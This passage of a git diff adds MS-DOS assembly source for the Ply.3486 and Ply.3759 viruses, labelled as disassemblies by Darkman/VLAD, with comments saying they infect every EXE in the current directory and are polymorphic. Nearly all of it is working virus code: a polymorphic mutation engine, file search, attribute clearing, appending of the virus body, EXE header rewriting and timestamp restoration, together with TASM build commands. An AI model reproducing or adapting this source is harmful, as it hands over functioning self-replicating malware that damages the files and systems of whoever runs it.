Zero CH + nop + mov cl,[di+15h] ; CL = file attribute + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ah,4fh ; Find next matching file + nop + + jmp find_next +virus_exit: + mov ah,62h ; Get current PSP address + nop + int 21h + nop + mov es,bx ; ES = segment of PSP for current ... + nop + + mov ax,bx ; AX = " " " " " " + nop + add ax,10h ; AX = segment of beginning of code + + lea si,instruct_ptr ; SI = offset of instruct_ptr + add si,bp ; Add delta offset + nop + + add [si+02h],ax ; Add segment of beginning of code... + add ax,[si+04h] ; Add original stack segment to se... + + cli ; Clear interrupt-enable flag + nop + nop +poly_end: + mov sp,[si+06h] ; SP = stack pointer + mov ss,ax ; SS = stack segment + sti ; Set interrupt-enable flag + + mov ds,bx ; DS = segment of PSP for current ... + + db 0eah ; JMP imm32 (opcode 0eah) +instruct_ptr dw ? ; Instruction pointer +code_seg dw ? ; Code segment + +stack_seg dw ? ; Stack segment +stack_ptr dw ? ; Stack pointer + + db 00h +file_specifi db '????????.EXE',00h ; File specification + db 00h,00h +file_header dw 0ah dup(?),00h,0fff0h,? + db 00h +poly_buffer db 03h dup(?) ; Polymorphic buffer +poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?)) +code_end: +dta: + db 15h dup(?) ; Used by DOS for find next-process +file_attr db ? ; File attribute +file_time dw ? ; File time +file_date dw ? ; File date +filesize dd ? ; Filesize +filename db 0dh dup(?) ; Filename +data_end: + +end code_begin diff --git a/MSDOS/Virus.MSDOS.Unknown.ply_3486.asm b/MSDOS/Virus.MSDOS.Unknown.ply_3486.asm new file mode 100644 index 00000000..5616aa7c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ply_3486.asm @@ -0,0 +1,850 @@ +comment * + Ply.3486 + Disassembly by + Darkman/VLAD + + Ply.3486 is a 3486 bytes parasitic direct action EXE virus. Infects every + file in current directory, when executed, by appending the virus to the + infected file. Ply.3486 has anti-heuristic techniques and is polymorphic in + file using its internal polymorphic engine. + + To compile Ply.3486 with Turbo Assembler v 4.0 type: + TASM /m PLY_3486.ASM + TLINK /t /x PLY_3486.OBJ +* + +.model tiny +.code + org 100h ; Origin of Ply.3486 + +code_begin: +delta_offset equ $+01h ; Delta offset + mov bp,100h ; BP = delta offset +poly_begin: + mov ax,cs ; AX = code segment + nop + mov ds,ax ; DS = " " + nop + mov es,ax ; ES = " " + nop + + mov ax,100h ; AX = offset of beginning of code + sub bp,ax ; Subtract offset of beginning of ... + nop + + sti ; Set interrupt-enable flag + nop + nop + cld ; Clear direction flag + nop + nop + + lea si,poly_begin ; SI = offset of poly_begin + add si,bp ; Add delta offset + nop + mov cx,(poly_end-poly_begin)/03h +poly_loop: + in al,40h ; AL = 8-bit random number + nop + and al,00000111b ; AL = random number between zero ... + nop + + push cx ; Save CX at stack + nop + nop + push si ; Save SI at stack + nop + nop + + cmp al,00h ; Prepend a NOP to the opcode? + nop + jne test_append ; Not equal? Jump to test_append + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + je dont_poly ; Equal? Jump to dont_poly + nop + + mov al,[si+02h] ; AL = third byte of three-byte block + cmp al,90h ; NOP (opcode 90h) + nop + jne dont_poly ; Not equal? Jump to dont_poly + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx+01h],ax ; Store first word of three-bytes ... + + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je dec_imm8 ; Equal? Jump to dec_imm8 + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + jne prepend_nop ; Not equal? Jump to prepend_nop + nop +dec_imm8: + dec byte ptr [bx+02h] ; Decrease 8-bit immediate +prepend_nop: + mov al,90h ; NOP (opcode 90h) + nop + mov [bx],al ; Prepend a NOP to the opcode + nop + + mov di,si ; DI = offset of current three-byt... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +dont_poly: + jmp test_loop +test_append: + cmp al,01h ; Append a NOP to the opcode? + nop + jne test_create ; Not equal? Jump to test_create + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne dont_poly_ ; Not equal? Jump to dont_poly_ + nop + + mov ax,[si+01h] ; AX = second word of three-bytes ... + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],ax ; Store second word of three-bytes... + nop + + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je dec_imm8_ ; Equal? Jump to dec_imm8_ + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + jne append_nop ; Not equal? Jump to append_nop + nop +dec_imm8_: + inc byte ptr [bx+01h] ; Decrease 8-bit immediate +append_nop: + mov al,90h ; NOP (opcode 90h) + nop + mov [bx+02h],al ; Append a NOP to the opcode + + mov di,si ; DI = offset of current three-byt... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +dont_poly_: + jmp test_loop +test_create: + cmp al,02h ; Create a CALL imm16 to the opcode? + nop + jne delete_call ; Not equal? Jump to delete_call + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne create_call ; Not equal? Jump to create_call + nop + + mov al,ah ; AL = second byte of three-bytes ... + nop +create_call: + cmp al,0e9h ; JMP imm16 (opcode 0e9h) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0c3h ; RET (opcode 0c3h) + nop + je call_exit ; Equal? Jump to call_exit + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,50h ; PUSH reg16/POP reg16? + nop + je call_exit ; Equal? Jump to call_exit + nop + + call get_poly_off + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,0c3h ; RET (opcode 0c3h) + nop + stosb ; Store RET + nop + nop + + in al,40h ; AL = 8-bit random number + nop + stosb ; Store 8-bit random number + nop + nop + + in al,40h ; AL = 8-bit random number + nop + stosb ; Store 8-bit random number + nop + nop + + mov al,0e8h ; CALL imm16 (opcode 0e8h) + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],al ; Create a CALL imm16 to the opcode + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + sub ax,06h ; Subtract size of six-bytes block + mov [bx+01h],ax ; Store 16-bit immediate + + mov di,si ; SI = offset of current three-byt... + nop + mov ax,03h ; AX = size of opcode CALL imm16 + sub di,ax ; Subtract size of opcode CALL imm... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +call_exit: + jmp test_loop +delete_call: + cmp al,03h ; Delete previously created CALL i... + nop + jne test_create_ ; Not equal? Jump to test_create_ + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h)? + nop + jne call_exit_ ; Not equal? Jump to call_exit_ + nop + + mov ax,[si+01h] ; AX = 16-bit immediate + add ax,03h ; Add size of opcode CALL imm16 + + mov di,si ; DI = offset of current three-byt... + nop + add si,ax ; Add 16-bit immediate + nop + lea bx,poly_blocks ; BX = offset of poly_blocks + add bx,bp ; Add delta offset + nop + cmp si,bx ; 16-bit immediate within polymorp... + nop + jb call_exit_ ; Below? Jump to call_exit_ + nop + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + mov [si-03h],ax ; Store NOP; NOP + + in al,40h ; AL = 8-bit random number + nop + mov [si-01h],al ; Store 8-bit random number + + in al,40h ; AL = 8-bit random number + nop + mov [si],al ; Store 8-bit random number + nop +call_exit_: + jmp test_loop +test_create_: + cmp al,04h ; Create a JMP imm16 to the opcode? + nop + jne delete_jmp ; Not equal? Jump to delete_jmp + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne create_jmp ; Not equal? Jump to create_jmp + nop + + mov al,ah ; AL = second byte of three-bytes ... + nop +create_jmp: + cmp al,0e9h ; JMP imm16 (opcode 0e9h)? + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h) + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + + call get_poly_off + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + nop + stosb ; Store JMP imm16 + nop + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + neg ax ; Negate AX + nop + sub ax,02h ; Subtract two from 16-bit immediate + stosw ; Store 16-bit immediate + nop + nop + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],al ; Create a JMP imm16 to the opcode + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + sub ax,06h ; Subtract size of six-bytes block + mov [bx+01h],ax ; Store 16-bit immediate + + mov di,si ; SI = offset of current three-byt... + nop + mov ax,03h ; AX = size of opcode CALL imm16 + sub di,ax ; Subtract size of opcode CALL imm... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +jmp_exit: + jmp test_loop + nop +delete_jmp: + cmp al,05h ; Delete previously created JMP im... + nop + jne test_loop ; Not equal? Jump to test_loop + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,0e9h ; JMP imm16 (opcode 0e9h)? + nop + jne jmp_exit_ ; Not equal? Jump to jmp_exit_ + nop + + mov ax,[si+01h] ; AX = 16-bit immediate + add ax,03h ; Add size of opcode CALL imm16 + + mov di,si ; DI = offset of current three-byt... + nop + add si,ax ; Add 16-bit immediate + nop + lea bx,poly_blocks ; BX = offset of poly_blocks + add bx,bp ; Add delta offset + nop + cmp si,bx ; 16-bit immediate within polymorp... + nop + jb jmp_exit_ ; Below? Jump to jmp_exit_ + nop + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + mov [si-03h],ax ; Store NOP; NOP + + in al,40h ; AL = 8-bit random number + nop + mov [si-01h],al ; Store 8-bit random number + + in al,40h ; AL = 8-bit random number + nop + mov [si],al ; Store 8-bit random number + nop +jmp_exit_: + jmp test_loop + nop +test_loop: + pop si ; Load SI from stack + nop + nop + pop cx ; Load CX from stack + nop + nop + + mov ax,03h ; AX = size of block + add si,ax ; SI = offset of next three-byte b... + nop + + dec cx ; Decrease CX + nop + nop + jz poly_exit ; Zero? Jump to poly_exit + nop + + jmp poly_loop +poly_exit: + jmp prepare_exit + nop + +get_poly_off proc near ; Get random offset of polymorphic... + in al,40h ; AL = 8-bit random number + nop + mov ah,al ; AH = " " " + nop + in al,40h ; AL = 8-bit random number + nop + mov di,ax ; DI = 16-bit random number + nop + mov ax,(poly_end-poly_begin)/03h +get_rnd_num: + sub di,ax ; Subtract number of polymorphic b... + nop + cmp di,ax ; Too large a 16-bit random number? + nop + jae get_rnd_num ; Above or equal? Jump to get_rnd_num + nop + + mov ax,di ; AX = 16-bit random number within... + nop + + add di,ax ; Add number of polymorphic blocks + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + + lea ax,poly_blocks ; AX = offset of poly_blocks + add di,ax ; Add offset of poly_blocks to ran... + nop + add di,bp ; Add delta offset + nop + + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + cmp [di],ax ; Offset already in use? + nop + jne get_poly_off ; Not equal? Jump to get_poly_off + nop + + ret ; Return! + nop + nop + endp +prepare_exit: + lea si,file_header ; SI = offset of file_header + add si,bp ; Add delta offset + nop + lea di,instruct_ptr ; SI = offset of instruct_ptr + add di,bp ; Add delta offset + nop + + mov ax,[si+14h] ; AX = instruction pointer + stosw ; Store instruction pointer + nop + nop + mov ax,[si+16h] ; AX = code segment + stosw ; Store code segment + nop + nop + mov ax,[si+0eh] ; AX = stack segment + stosw ; Store stack segment + nop + nop + mov ax,[si+10h] ; AX = stack pointer + stosw ; Store stack pointer + nop + nop + + mov ah,1ah ; Set disk transfer area address + nop + lea dx,dta ; DX = offset of dta + add dx,bp ; Add delta offset + nop + mov di,dx ; DI = offset of dta + nop + int 21h + nop + + mov ax,(4e00h+2020h) ; Find first matching file + sub ax,2020h + mov cx,0000000000000111b + lea dx,file_specifi ; DX = offset of file_specifi + add dx,bp ; Add delta offset + nop + + mov bx,dx ; BX = offset of file_specifi + nop + mov al,'E' + nop + mov [bx+02h],al ; Correct the file specification +find_next: + int 21h + nop + jnc open_file ; No error? Jump to open_file + nop + + jmp virus_exit +open_file: + mov al,'V' + nop + mov [bx+02h],al ; Correct the file specification + + mov ax,3d00h ; Open file (read) + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + xchg bx,ax ; BX = file handle + nop + nop + + mov ah,3fh ; Read from file + nop + mov dx,si ; DX = offset of file_header + nop + mov cx,1ah ; Read twenty-six bytes + int 21h + nop + + mov ah,3eh ; Close file + nop + int 21h + nop + + mov ax,('ZM'+2020h) ; EXE signature + sub ax,2020h + cmp [si],ax ; Found EXE signature? + nop + je examine_file ; Equal? Jump to examine_file + nop + + xchg ah,al ; Exchange EXE signature + nop + cmp [si],ax ; Found EXE signature? + nop + je examine_file ; Equal? Jump to examine_file + nop +jmp_find_nxt: + mov ax,(4f00h+2020h) ; Find next matching file + sub ax,2020h + + jmp find_next + nop +examine_file: + mov ax,2020h + cmp [si+12h],ax ; Already infected? + je jmp_find_nxt ; Equal? Jump to jmp_find_nxt + nop + + mov ax,(4301h+2020h) ; Set file attributes + sub ax,2020h + xor cx,cx ; CX = new file attributes + nop + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,(3d02h+2020h) ; Open file (read/write) + sub ax,2020h + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + xchg bx,ax ; BX = file handle + nop + nop + + mov ax,4202h ; Set current file position (EOF) + xor cx,cx ; Zero CX + nop + xor dx,dx ; Zero DX + nop + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,(code_end-code_begin) + lea dx,code_begin ; DX = offset of code_begin + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,[si+08h] ; AX = header size in paragraphs + mov cl,04h ; Multiply by paragraphs + nop + shl ax,cl ; AX = header size + nop + push bx ; Save BX at stack + nop + nop + xchg ax,bx ; BX = header size + nop + nop + + mov ax,[di+1ah] ; AX = low-order word of filesize + mov dx,[di+1ch] ; DX = high-order word of filesize + push ax ; Save AX at stack + nop + nop + push dx ; Save DX at stack + nop + nop + + sub ax,bx ; Subtract header size from filesize + nop + sbb dx,00h ; Convert to 32-bit + mov cx,10h + div cx ; Divide by paragraphs + nop + mov [si+14h],dx ; Store instruction pointer + mov [si+16h],ax ; Store code segment + + lea bx,delta_offset ; BX = offset of delta_offset + add bx,bp ; Add delta offset + nop + mov [bx],dx ; Store delta offset + nop + + inc ax ; Increase AX + nop + nop + mov [si+0eh],ax ; Store stack segment + + mov ax,(code_end-code_begin+100h) + add dx,ax ; DX = stack pointer + nop + mov [si+10h],dx ; Store stack pointer + + mov ax,2020h ; AX = infection mark + mov [si+12h],ax ; Store infection mark + + pop dx ; Load DX from stack + nop + nop + pop ax ; Load AX from stack + nop + nop + add ax,(code_end-code_begin) + adc dx,00h ; Convert to 32-bit + + mov cl,09h + nop + push ax ; Save AX at stack + nop + nop + shr ax,cl ; Multiply by pages + nop + ror dx,cl ; " " " + nop + stc ; Set carry flag + nop + nop + adc dx,ax ; DX = total number of 512-bytes p... + nop + pop ax ; Load AX from stack + nop + nop + and ah,00000001b + mov [si+04h],dx ; Store totalt number of 512-bytes... + mov [si+02h],ax ; Number of bytes in last 512-byte... + pop bx ; Load BX from stack + nop + nop + + mov ax,4201h ; Set current file position (CFP) + mov cx,-01h + mov dx,-(code_end-delta_offset) + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,02h ; Write two bytes + lea dx,delta_offset ; DX = offset of delta_offset + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,4200h ; Set current file position (SOF) + xor cx,cx ; Zero CX + nop + xor dx,dx ; Zero DX + nop + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,1ah ; Write twenty-six bytes + mov dx,si ; DX = offset of file_header + nop + int 21h + nop + + mov ax,(5701h-2020h) ; Set file's date and time + add ax,2020h + mov cx,[di+16h] ; CX = file time + mov dx,[di+18h] ; DX = file date + int 21h + nop + + mov ah,3eh ; Close file + nop + int 21h + nop + + mov ax,(4301h+2020h) ; Set file attributes + sub ax,2020h + mov ch,00h ; Zero CH + nop + mov cl,[di+15h] ; CL = file attribute + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ah,4fh ; Find next matching file + nop + + jmp find_next +virus_exit: + mov ah,62h ; Get current PSP address + nop + int 21h + nop + mov es,bx ; ES = segment of PSP for current ... + nop + + mov ax,bx ; AX = " " " " " " + nop + add ax,10h ; AX = segment of beginning of code + + lea si,instruct_ptr ; SI = offset of instruct_ptr + add si,bp ; Add delta offset + nop + + add [si+02h],ax ; Add segment of beginning of code... + add ax,[si+04h] ; Add original stack segment to se... + + cli ; Clear interrupt-enable flag + nop + nop +poly_end: + mov sp,[si+06h] ; SP = stack pointer + mov ss,ax ; SS = stack segment + sti ; Set interrupt-enable flag + + mov ds,bx ; DS = segment of PSP for current ... + + db 0eah ; JMP imm32 (opcode 0eah) +instruct_ptr dw ? ; Instruction pointer +code_seg dw ? ; Code segment + +stack_seg dw ? ; Stack segment +stack_ptr dw ? ; Stack pointer + + db 00h +file_specifi db '*.VXE',00h ; File specification +file_header dw 0ah dup(?),00h,0fff0h,? + db 00h +poly_buffer db 03h dup(?) ; Polymorphic buffer +poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?)) +code_end: +dta: + db 15h dup(?) ; Used by DOS for find next-process +file_attr db ? ; File attribute +file_time dw ? ; File time +file_date dw ? ; File date +filesize dd ? ; Filesize +filename db 0dh dup(?) ; Filename +data_end: + +end code_begin diff --git a/MSDOS/Virus.MSDOS.Unknown.ply_3759.asm b/MSDOS/Virus.MSDOS.Unknown.ply_3759.asm new file mode 100644 index 00000000..62260a42 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ply_3759.asm @@ -0,0 +1,924 @@ +comment * + Ply.3759 + Disassembly by + Darkman/VLAD + + Ply.3759 is a 3759 bytes parasitic direct action EXE virus. Infects every + file in current directory, when executed, by appending the virus to the + infected file. Ply.3759 has an error handler, anti-heuristic techniques and + is polymorphic in file using its internal polymorphic engine. + + To compile Ply.3759 with Turbo Assembler v 4.0 type: + TASM /m PLY_3759.ASM + TLINK /t /x PLY_3759.OBJ +* + +.model tiny +.code + org 100h ; Origin of Ply.3759 + +code_begin: +delta_offset equ $+01h ; Delta offset + mov bp,100h ; BP = delta offset +poly_begin: + mov ax,cs ; AX = code segment + nop + mov ds,ax ; DS = " " + nop + mov es,ax ; ES = " " + nop + + mov ax,100h ; AX = offset of beginning of code + sub bp,ax ; Subtract offset of beginning of ... + nop + + sti ; Set interrupt-enable flag + nop + nop + cld ; Clear direction flag + nop + nop + + lea si,poly_begin ; SI = offset of poly_begin + add si,bp ; Add delta offset + nop + mov cx,(poly_end-poly_begin)/03h +poly_loop: + in al,40h ; AL = 8-bit random number + nop + and al,00000111b ; AL = random number between zero ... + nop + + push cx ; Save CX at stack + nop + nop + push si ; Save SI at stack + nop + nop + + cmp al,00h ; Prepend a NOP to the opcode? + nop + jne test_append ; Not equal? Jump to test_append + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + je dont_poly ; Equal? Jump to dont_poly + nop + + mov al,[si+02h] ; AL = third byte of three-byte block + cmp al,90h ; NOP (opcode 90h) + nop + jne dont_poly ; Not equal? Jump to dont_poly + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx+01h],ax ; Store first word of three-bytes ... + + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je dec_imm8 ; Equal? Jump to dec_imm8 + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + jne prepend_nop ; Not equal? Jump to prepend_nop + nop +dec_imm8: + dec byte ptr [bx+02h] ; Decrease 8-bit immediate +prepend_nop: + mov al,90h ; NOP (opcode 90h) + nop + mov [bx],al ; Prepend a NOP to the opcode + nop + + mov di,si ; DI = offset of current three-byt... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +dont_poly: + jmp test_loop +test_append: + cmp al,01h ; Append a NOP to the opcode? + nop + jne test_create ; Not equal? Jump to test_create + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne dont_poly_ ; Not equal? Jump to dont_poly_ + nop + + mov ax,[si+01h] ; AX = second word of three-bytes ... + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],ax ; Store second word of three-bytes... + nop + + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je dec_imm8_ ; Equal? Jump to dec_imm8_ + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + jne append_nop ; Not equal? Jump to append_nop + nop +dec_imm8_: + inc byte ptr [bx+01h] ; Decrease 8-bit immediate +append_nop: + mov al,90h ; NOP (opcode 90h) + nop + mov [bx+02h],al ; Append a NOP to the opcode + + mov di,si ; DI = offset of current three-byt... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +dont_poly_: + jmp test_loop +test_create: + cmp al,02h ; Create a CALL imm16 to the opcode? + nop + jne delete_call ; Not equal? Jump to delete_call + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne create_call ; Not equal? Jump to create_call + nop + + mov al,ah ; AL = second byte of three-bytes ... + nop +create_call: + cmp al,0e9h ; JMP imm16 (opcode 0e9h) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0c3h ; RET (opcode 0c3h) + nop + je call_exit ; Equal? Jump to call_exit + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,50h ; PUSH reg16/POP reg16? + nop + je call_exit ; Equal? Jump to call_exit + nop + + call get_poly_off + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,0c3h ; RET (opcode 0c3h) + nop + stosb ; Store RET + nop + nop + + in al,40h ; AL = 8-bit random number + nop + stosb ; Store 8-bit random number + nop + nop + + in al,40h ; AL = 8-bit random number + nop + stosb ; Store 8-bit random number + nop + nop + + mov al,0e8h ; CALL imm16 (opcode 0e8h) + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],al ; Create a CALL imm16 to the opcode + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + sub ax,06h ; Subtract size of six-bytes block + mov [bx+01h],ax ; Store 16-bit immediate + + mov di,si ; SI = offset of current three-byt... + nop + mov ax,03h ; AX = size of opcode CALL imm16 + sub di,ax ; Subtract size of opcode CALL imm... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +call_exit: + jmp test_loop +delete_call: + cmp al,03h ; Delete previously created CALL i... + nop + jne test_create_ ; Not equal? Jump to test_create_ + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h)? + nop + jne call_exit_ ; Not equal? Jump to call_exit_ + nop + + mov ax,[si+01h] ; AX = 16-bit immediate + add ax,03h ; Add size of opcode CALL imm16 + + mov di,si ; DI = offset of current three-byt... + nop + add si,ax ; Add 16-bit immediate + nop + lea bx,poly_blocks ; BX = offset of poly_blocks + add bx,bp ; Add delta offset + nop + cmp si,bx ; 16-bit immediate within polymorp... + nop + jb call_exit_ ; Below? Jump to call_exit_ + nop + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + mov [si-03h],ax ; Store NOP; NOP + + in al,40h ; AL = 8-bit random number + nop + mov [si-01h],al ; Store 8-bit random number + + in al,40h ; AL = 8-bit random number + nop + mov [si],al ; Store 8-bit random number + nop +call_exit_: + jmp test_loop +test_create_: + cmp al,04h ; Create a JMP imm16 to the opcode? + nop + jne delete_jmp ; Not equal? Jump to delete_jmp + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne create_jmp ; Not equal? Jump to create_jmp + nop + + mov al,ah ; AL = second byte of three-bytes ... + nop +create_jmp: + cmp al,0e9h ; JMP imm16 (opcode 0e9h)? + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h) + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + + call get_poly_off + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + nop + stosb ; Store JMP imm16 + nop + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + neg ax ; Negate AX + nop + sub ax,02h ; Subtract two from 16-bit immediate + stosw ; Store 16-bit immediate + nop + nop + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],al ; Create a JMP imm16 to the opcode + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + sub ax,06h ; Subtract size of six-bytes block + mov [bx+01h],ax ; Store 16-bit immediate + + mov di,si ; SI = offset of current three-byt... + nop + mov ax,03h ; AX = size of opcode CALL imm16 + sub di,ax ; Subtract size of opcode CALL imm... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +jmp_exit: + jmp test_loop + nop +delete_jmp: + cmp al,05h ; Delete previously created JMP im... + nop + jne test_loop ; Not equal? Jump to test_loop + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,0e9h ; JMP imm16 (opcode 0e9h)? + nop + jne jmp_exit_ ; Not equal? Jump to jmp_exit_ + nop + + mov ax,[si+01h] ; AX = 16-bit immediate + add ax,03h ; Add size of opcode CALL imm16 + + mov di,si ; DI = offset of current three-byt... + nop + add si,ax ; Add 16-bit immediate + nop + lea bx,poly_blocks ; BX = offset of poly_blocks + add bx,bp ; Add delta offset + nop + cmp si,bx ; 16-bit immediate within polymorp... + nop + jb jmp_exit_ ; Below? Jump to jmp_exit_ + nop + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + mov [si-03h],ax ; Store NOP; NOP + + in al,40h ; AL = 8-bit random number + nop + mov [si-01h],al ; Store 8-bit random number + + in al,40h ; AL = 8-bit random number + nop + mov [si],al ; Store 8-bit random number + nop +jmp_exit_: + jmp test_loop + nop +test_loop: + pop si ; Load SI from stack + nop + nop + pop cx ; Load CX from stack + nop + nop + + mov ax,03h ; AX = size of block + add si,ax ; SI = offset of next three-byte b... + nop + + dec cx ; Decrease CX + nop + nop + jz poly_exit ; Zero? Jump to poly_exit + nop + + jmp poly_loop +poly_exit: + jmp prepare_exit + nop + +get_poly_off proc near ; Get random offset of 